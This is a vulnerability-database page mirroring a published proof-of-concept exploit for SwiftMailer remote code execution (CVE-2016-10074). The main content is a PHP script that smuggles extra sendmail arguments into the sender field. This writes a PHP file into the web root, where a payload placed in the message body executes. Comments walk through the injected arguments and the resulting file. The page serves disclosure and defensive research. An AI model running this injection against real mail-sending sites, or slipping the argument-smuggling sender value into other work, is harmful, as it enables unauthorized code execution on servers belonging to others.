Lucene search
K

SwiftMailer Remote Code Execution

🗓️ 29 Dec 2016 00:00:00Reported by Dawid GolunskiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 69 Views

SwiftMailer Remote Code Execution vulnerability discovered by Dawid Golunski, leading to RCE (CVE-2016-10074). Allows injection of malicious payload in mail sender field for unauthorized file write

Related
Code
`<?php  
  
/*  
  
SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)  
  
Discovered/Coded by:  
  
Dawid Golunski  
https://legalhackers.com  
  
Full Advisory URL:  
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html  
  
Exploit code URL:  
https://legalhackers.com/exploits/CVE-2016-10074/SwiftMailer_PoC_RCE_Exploit.txt  
  
Follow the feed for updates:  
  
https://twitter.com/dawid_golunski  
  
  
A simple PoC (working on Sendmail MTA)  
  
It will inject the following parameters to sendmail command:  
  
Arg no. 0 == [/usr/sbin/sendmail]  
Arg no. 1 == [-t]  
Arg no. 2 == [-i]  
Arg no. 3 == [-fattacker\]  
Arg no. 4 == [-oQ/tmp/]  
Arg no. 5 == [-X/var/www/cache/phpcode.php]  
Arg no. 6 == ["@email.com]  
  
  
which will write the transfer log (-X) into /var/www/cache/phpcode.php file.  
Note /var/www/cache must be writable by www-data web user.  
  
The resulting file will contain the payload passed in the body of the msg:  
  
09607 <<< Content-Type: text/html; charset=us-ascii  
09607 <<<   
09607 <<< <?php phpinfo(); ?>  
09607 <<<   
09607 <<<   
09607 <<<   
  
  
See the full advisory URL for the exploit details.  
  
*/  
  
  
// Attacker's input coming from untrusted source such as $_GET , $_POST etc.  
// For example from a Contact form with sender field  
  
$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.com';  
  
// ------------------  
  
// mail() param injection via the vulnerability in SwiftMailer  
  
require_once 'lib/swift_required.php';  
// Mail transport  
$transport = Swift_MailTransport::newInstance();  
// Create the Mailer using your created Transport  
$mailer = Swift_Mailer::newInstance($transport);  
  
// Create a message  
$message = Swift_Message::newInstance('Swift PoC exploit')  
->setFrom(array($email_from => 'PoC Exploit Payload'))  
->setTo(array('[email protected]', '[email protected]' => 'A name'))  
->setBody('Here is the message itself')  
;  
// Send the message with PoC payload in 'from' field  
$result = $mailer->send($message);  
  
?>  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Dec 2016 00:00Current
9.7High risk
Vulners AI Score9.7
EPSS0.73109
69